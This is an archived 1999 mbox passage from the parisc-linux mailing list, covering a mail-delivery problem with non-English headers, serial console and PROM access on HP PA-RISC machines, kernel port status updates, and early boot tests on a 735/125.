X-Trace: ger.gmane.org 1416619697 12907 80.91.229.3 (22 Nov 2014 01:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:17 +0000 (UTC)
To: Mike Shaver <shaver@netscape.com>,
        parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Mon Jul 12 11:41:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA04352
	for <parisc-linux@puffin.external.hp.com>; Mon, 12 Jul 1999 11:41:22 -0600
Original-Received: (qmail 14066 invoked by uid 15267); 12 Jul 1999 17:41:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14059 invoked from network); 12 Jul 1999 17:41:57 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 17:41:57 -0000
Original-Received: (qmail 7865 invoked from network); 12 Jul 1999 17:41:47 -0000
Original-Received: from dialppp-5-43.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.5.43)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 12 Jul 1999 17:41:47 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9719


Sorry to disturb the list with my private mail problems !

If anyone has an idea, I would really like to solve this problem here, else I
will STOP this thread and write my mails only with Win95 (of course I would
prefer Linux much more...).

Thanks,
Helge.

Please read on, if you want to help me:
----------------------------------------


Mike Shaver schrieb:

> Helge Deller wrote:
> >
> > If this message goes through, does anybody have any ideas, why my mails
> > sent from Netscape/Win95 goes through to the list, but those from
> > Netscape/Linux not ????
> > Thanks,
> > Helge.
> > (This message was sent with Netscape/Win95, the message below with
> > Netscape/Linux).
> >
> >
> > Betreff: Re: [parisc-linux] PDC woes
> > Datum: Mon, 12 Jul 1999 01:08:45 +0200
> > Von: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
> > An: Matthew Wilcox <Matthew.Wilcox@genedata.com>
>
> I bet the mailing list software doesn't like the non-English headers.
>
> Mike

Yes, of course you are right, but it was my fault to ask the question like I
did....(and I thought, that it won't get through!).
Here are the original-Mail-headers (Netscape automatically tranlated the second
mail-header, before it was inserted into my forwared mail):

******************************************************
Mail-Header, which went trough (Netscape/Win95)
--------------------------------------------------------------------
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
Message-ID: <3789ACA8.20302CBA@ruhr-uni-bochum.de>
Date: Mon, 12 Jul 1999 10:51:52 +0200
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: parisc-linux <parisc-linux@thepuffingroup.com>
Subject: [Fwd: Re: [parisc-linux] PDC woes]
Content-Type: multipart/mixed;
 boundary="------------447487C03A72049BA408CDB6"

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------447487C03A72049BA408CDB6
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

If this message goes through, does anybody have any ideas, why my mails
sent from Netscape/Win95 goes through to the list, but those from
Netscape/Linux not ????
Thanks,
Helge.
(This message was sent with Netscape/Win95, the message below with
Netscape/Linux).
.<I deleted the rest..>

*********************************************************

Here is the Mail-Header, which did NOT went through (Netscape/Linux)
----------------------------------------------------
X-Mozilla-Status: 9011
X-Mozilla-Status2: 00000000
Message-ID: <378923FD.65F5D7BF@ruhr-uni-bochum.de>
Date: Mon, 12 Jul 1999 01:08:45 +0200
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.9 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
CC: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] PDC woes
References: <19990711011852.A25925@mencheca.ch.genedata.com>
Content-Type: multipart/mixed;
 boundary="------------4621FAFCBE0BBA24E978776D"

This is a multi-part message in MIME format.
--------------4621FAFCBE0BBA24E978776D
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Matthew Wilcox wrote:

> Philipp asked me t........
.<I deleted the rest..>

***********************************************************

Does anybody has an idea ??
Please notice, that Netscape/95 is english & german (and worked!), while
Netscape/Linux is the english-only-version (and didn't worked!).

Thanks,
Helge.


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console
Date: Mon, 12 Jul 1999 23:10:19 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19990712231019.A2039@alpha.franken.de>
References: <378796B3.5FD7E116@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619697 12911 80.91.229.3 (22 Nov 2014 01:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:17 +0000 (UTC)
To: Mike Shaver <shaver@netscape.com>, parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Mon Jul 12 15:19:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA05108
	for <parisc-linux@puffin.external.hp.com>; Mon, 12 Jul 1999 15:19:42 -0600
Original-Received: (qmail 28345 invoked by uid 15267); 12 Jul 1999 21:20:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28316 invoked from network); 12 Jul 1999 21:20:10 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 21:20:10 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m113nUG-0027YEC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Mon, 12 Jul 1999 23:19:44 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m113nU8-002OzvC; Mon, 12 Jul 99 23:19 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id XAA02076;
	Mon, 12 Jul 1999 23:10:19 +0200
X-Mailer: Mutt 0.93.2
In-Reply-To: <378796B3.5FD7E116@netscape.com>; from Mike Shaver on Sat, Jul 10, 1999 at 02:53:39PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9720

On Sat, Jul 10, 1999 at 02:53:39PM -0400, Mike Shaver wrote:
> I have a serial console cable that came with my A180C, but I can't get
> the silly box to talk to it.

disconnect the web console port. Whenever I have the web console port
connected to the hub, the serial console doesn't work for. As soon
as I unplug the web console the serial console comes up immidiatly. I
haven't notice this behaviour until I got enough cables today:-)

> Also, is there an equivalent to Sun's L1-A or the Indy's
> send-break-over-serial that will get me back to the PROM in the event
> that Linux jumps to east nowhere?  Or do I have to power cycle?

So far everbody denied the existance of that essentiell (at least for
kernel hackers) feature.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joubert Berger <joubert@issl.atl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Mon, 12 Jul 1999 17:57:58 -0400
Organization: Hewlett Packard
Lines: 2
Approved: news@gmane.org
Message-ID: <378A64E6.2462FA01@issl.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619697 12914 80.91.229.3 (22 Nov 2014 01:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:17 +0000 (UTC)
To: parisc-linux-digest@thepuffingroup.com
Original-X-From: joubert@issl.atl.hp.com  Mon Jul 12 16:04:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA05348
	for <parisc-linux-digest@puffin.external.hp.com>; Mon, 12 Jul 1999 16:04:09 -0600
Original-Received: (qmail 3797 invoked by uid 15267); 12 Jul 1999 21:58:05 -0000
Delivered-To: thepuffi-parisc-linux-digest@thepuffingroup.com
Original-Received: (qmail 3790 invoked from network); 12 Jul 1999 21:58:05 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Jul 1999 21:58:05 -0000
Original-Received: from i3107sdm.atl.hp.com (root@i3107sdm.atl.hp.com [15.45.88.30])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA06001
	for <parisc-linux-digest@thepuffingroup.com>; Mon, 12 Jul 1999 17:57:42 -0400 (EDT)
Original-Received: from issl.atl.hp.com (this.is.a.dummy.name.for.a.broken.dns.config.number-14.atl.hp.com [15.47.224.14] (may be forged)) by i3107sdm.atl.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.7.1) id RAA28995 for <parisc-linux-digest@thepuffingroup.com>; Mon, 12 Jul 1999 17:57:59 -0400 (EDT)
Original-Received: by milo.idev.atl.hp.com (1.39.111.2/2.0) from cutter.idev.atl.hp.com id AA034976678; Mon, 12 Jul 1999 17:57:58 -0400
Original-Sender: joubert@issl.atl.hp.com
X-Mailer: Mozilla 4.6 [en] (X11; I; HP-UX B.10.20 9000/899)
X-Accept-Language: de-DE,en
Xref: news.gmane.org gmane.linux.ports.parisc:9721

subscribe


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Giles Lean <giles@nemeton.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console
Date: Tue, 13 Jul 1999 18:50:30 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <19099.931855830@nemeton.com.au>
References: <19990712231019.A2039@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619698 12917 80.91.229.3 (22 Nov 2014 01:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: giles@nemeton.com.au  Tue Jul 13 02:48:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA06326
	for <parisc-linux@puffin.external.hp.com>; Tue, 13 Jul 1999 02:48:16 -0600
Original-Received: (qmail 22918 invoked by uid 15267); 13 Jul 1999 08:48:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22911 invoked from network); 13 Jul 1999 08:48:52 -0000
Original-Received: from edison.dialix.com.au (root@203.12.2.8)
  by mailserv2.iuinc.com with SMTP; 13 Jul 1999 08:48:52 -0000
Original-Received: from nemeton.com.au (dy02.edison.dialix.com.au [203.12.2.33])
	by edison.dialix.com.au (8.9.1/8.9.1/DIALixFlat) with ESMTP id SAA11556
	for <parisc-linux@thepuffingroup.com>; Tue, 13 Jul 1999 18:48:33 +1000 (EST)
	(envelope-from giles@nemeton.com.au)
Original-Received: (qmail 19105 invoked from network); 13 Jul 1999 08:50:42 -0000
Original-Received: from nemeton.com.au (203.8.3.17)
  by nemeton.com.au with SMTP; 13 Jul 1999 08:50:42 -0000
In-reply-to: <19990712231019.A2039@alpha.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9722


On Mon, 12 Jul 1999 23:10:19 +0200  Thomas Bogendoerfer wrote:

> > Also, is there an equivalent to Sun's L1-A or the Indy's
> > send-break-over-serial that will get me back to the PROM in the event
> > that Linux jumps to east nowhere?  Or do I have to power cycle?
> 
> So far everbody denied the existance of that essentiell (at least for
> kernel hackers) feature.

Historically on HP servers (series 800 machines) ^B gets you to "PROM"
mode.  It has varied on different machines whether this is enabled and
disabled by a key, or a switch on the back, or is not able to be
disabled at all.

Some newer machines (some D series, all A series, all R series) don't
have this functionality out unless an "access port" card is added to
the system.  These systems do still have a TOC (Transfer of Control)
button so that dumps can be taken.

I'll dig out the part number for the access port card if anyone cares;
I don't have it to hand right now.

Regards,

Giles


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status
Date: Wed, 14 Jul 1999 04:39:14 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19990714043914.H10285@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619698 12921 80.91.229.3 (22 Nov 2014 01:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Tue Jul 13 20:38:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA09466
	for <parisc-linux@puffin.external.hp.com>; Tue, 13 Jul 1999 20:38:42 -0600
Original-Received: (qmail 3671 invoked by uid 15267); 14 Jul 1999 02:39:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3664 invoked from network); 14 Jul 1999 02:39:21 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 14 Jul 1999 02:39:21 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id B3FB532CE2
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jul 1999 04:39:15 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id 923279410
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jul 1999 04:39:15 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id ECE4C7F8B; Wed, 14 Jul 1999 04:39:14 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9723

Hello everybody,
I thought it was about time I gave you all a quick update about what I am
doing.

First, interruptions are being well.  We can do the return thing now too,
and I'm pretty sure the number of bugs hiding there is close to zero. We
will need some changes here before userspace will really work and at the
time we'll virtually map most of the kernel.

Interrupts are about working.  We don't free them yet and the code isn't
really tested, but the timer interrupt works very much like it is supposed
to.

I currently try to get some MMU code working so we can get a first impres-
sion of what userspace will look like.

	Philipp


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@student.uni-tuebingen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735 experience ??
Date: Thu, 15 Jul 1999 22:38:53 +0200 (MEST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.05.9907152236400.236-100000@linux21.zdv.uni-tuebingen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619698 12926 80.91.229.3 (22 Nov 2014 01:28:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank.benke@student.uni-tuebingen.de  Thu Jul 15 14:38:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA13698
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 14:38:49 -0600
Original-Received: (qmail 6591 invoked by uid 15267); 15 Jul 1999 20:39:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6584 invoked from network); 15 Jul 1999 20:39:32 -0000
Original-Received: from mx01.uni-tuebingen.de (134.2.3.11)
  by mailserv2.iuinc.com with SMTP; 15 Jul 1999 20:39:32 -0000
Original-Received: from linux21.zdv.uni-tuebingen.de (linux21.zdv.uni-tuebingen.de [134.2.18.21])
	by mx01.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id WAA03182
	for <parisc-linux@thepuffingroup.com>; Thu, 15 Jul 1999 22:39:15 +0200
Original-Received: from localhost (zxmbk01@localhost)
	by linux21.zdv.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id WAA09868
	for <parisc-linux@thepuffingroup.com>; Thu, 15 Jul 1999 22:39:05 +0200
X-Authentication-Warning: linux21.zdv.uni-tuebingen.de: zxmbk01 owned process doing -bs
X-Sender: zxmbk01@linux21.zdv.uni-tuebingen.de
Xref: news.gmane.org gmane.linux.ports.parisc:9724


are there any experiences with linux booting on the 735/125 ?

i will test these days.


regards frank
-- 


From - Thu Nov 08 21:15:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Thu, 15 Jul 1999 23:05:30 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19990715230530.F25925@mencheca.ch.genedata.com>
References: <Pine.LNX.4.05.9907152236400.236-100000@linux21.zdv.uni-tuebingen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619699 12931 80.91.229.3 (22 Nov 2014 01:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Frank Benke <frank.benke@student.uni-tuebingen.de>
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jul 15 15:04:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA13933
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 15:04:58 -0600
Original-Received: (qmail 11579 invoked by uid 15267); 15 Jul 1999 21:05:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11572 invoked from network); 15 Jul 1999 21:05:41 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 15 Jul 1999 21:05:41 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id XAA08696;
	Thu, 15 Jul 1999 23:05:31 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id XAA4148930;
	Thu, 15 Jul 1999 23:05:30 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m114sh8-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for frank.benke@student.uni-tuebingen.de; Thu, 15 Jul 1999 23:05:30 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.05.9907152236400.236-100000@linux21.zdv.uni-tuebingen.de>; from Frank Benke on Thu, Jul 15, 1999 at 10:38:53PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9725

On Thu, Jul 15, 1999 at 10:38:53PM +0200, Frank Benke wrote:
> 
> are there any experiences with linux booting on the 735/125 ?
> 
> i will test these days.

I'd love someone to test it.. can you compile kernels yourself or would
you like a precompiled one?

[I trust you are aware that you'll get masses of debugging crud followed
by your computer hanging, and nowhere even close to a prompt yet.]

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@student.uni-tuebingen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Thu, 15 Jul 1999 23:13:00 +0200 (MEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.05.9907152309590.236-100000@linux21.zdv.uni-tuebingen.de>
References: <19990715230530.F25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619699 12938 80.91.229.3 (22 Nov 2014 01:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:19 +0000 (UTC)
Cc: Frank Benke <frank.benke@student.uni-tuebingen.de>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: frank.benke@student.uni-tuebingen.de  Thu Jul 15 15:12:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA14121
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 15:12:29 -0600
Original-Received: (qmail 13093 invoked by uid 15267); 15 Jul 1999 21:13:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13081 invoked from network); 15 Jul 1999 21:13:13 -0000
Original-Received: from mx02.uni-tuebingen.de (134.2.3.12)
  by mailserv2.iuinc.com with SMTP; 15 Jul 1999 21:13:13 -0000
Original-Received: from linux21.zdv.uni-tuebingen.de (linux21.zdv.uni-tuebingen.de [134.2.18.21])
	by mx02.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id XAA23892;
	Thu, 15 Jul 1999 23:12:58 +0200
Original-Received: from localhost (zxmbk01@localhost)
	by linux21.zdv.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id XAA10972;
	Thu, 15 Jul 1999 23:13:00 +0200
X-Authentication-Warning: linux21.zdv.uni-tuebingen.de: zxmbk01 owned process doing -bs
X-Sender: zxmbk01@linux21.zdv.uni-tuebingen.de
In-Reply-To: <19990715230530.F25925@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9726


> I'd love someone to test it.. can you compile kernels yourself or would
> you like a precompiled one?

guess i will taje the challenge to compile one myself. precompiled is the 
fallback strategy.

> [I trust you are aware that you'll get masses of debugging crud followed
> by your computer hanging, and nowhere even close to a prompt yet.]

well aware ;) 

.
.
.

but when i'm able to compile and test , i might be able to contribute.

regards frank


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Thu, 15 Jul 1999 17:14:35 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <199907152114.RAA12587@hiauly1.hia.nrc.ca>
References: <19990715230530.F25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619699 12943 80.91.229.3 (22 Nov 2014 01:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:19 +0000 (UTC)
Cc: frank.benke@student.uni-tuebingen.de, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Jul 15 15:14:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA14274
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 15:14:31 -0600
Original-Received: (qmail 13524 invoked by uid 15267); 15 Jul 1999 21:15:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13517 invoked from network); 15 Jul 1999 21:15:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 15 Jul 1999 21:15:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA12587;
	Thu, 15 Jul 1999 17:14:35 -0400 (EDT)
In-Reply-To: <19990715230530.F25925@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jul 15, 99 11:05:30 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9727

I tried a few days ago (July 6) and sent the console output to Alex Devries.
There were problems with cpu speed, cpu level, and the stack/user address
space seemed to encompass all memory including the kernel.  The kernel
did determine the amount of memory in the machine and the machine type
correctly.

I tried again a few days later and the boot just hung with no messages
at all.  I think the hpux ipl must have had problems with the object file.
Haven't tried the most recent version.

> 
> On Thu, Jul 15, 1999 at 10:38:53PM +0200, Frank Benke wrote:
> > 
> > are there any experiences with linux booting on the 735/125 ?
> > 
> > i will test these days.
> 
> I'd love someone to test it.. can you compile kernels yourself or would
> you like a precompiled one?
> 
> [I trust you are aware that you'll get masses of debugging crud followed
> by your computer hanging, and nowhere even close to a prompt yet.]
> 
> -- 
> Matthew Wilcox <willy@bofh.ai>
> "Windows and MacOS are products, contrived by engineers in the service of
> specific companies. Unix, by contrast, is not so much a product as it is a
> painstakingly compiled oral history of the hacker subculture." - N Stephenson
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 experience ??
Date: Thu, 15 Jul 1999 23:27:38 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <19990715232738.G25925@mencheca.ch.genedata.com>
References: <19990715230530.F25925@mencheca.ch.genedata.com> <199907152114.RAA12587@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619700 12952 80.91.229.3 (22 Nov 2014 01:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:20 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        frank.benke@student.uni-tuebingen.de, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jul 15 15:27:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA14502
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jul 1999 15:27:10 -0600
Original-Received: (qmail 16050 invoked by uid 15267); 15 Jul 1999 21:27:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16043 invoked from network); 15 Jul 1999 21:27:48 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 15 Jul 1999 21:27:48 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id XAA08769;
	Thu, 15 Jul 1999 23:27:39 +0200
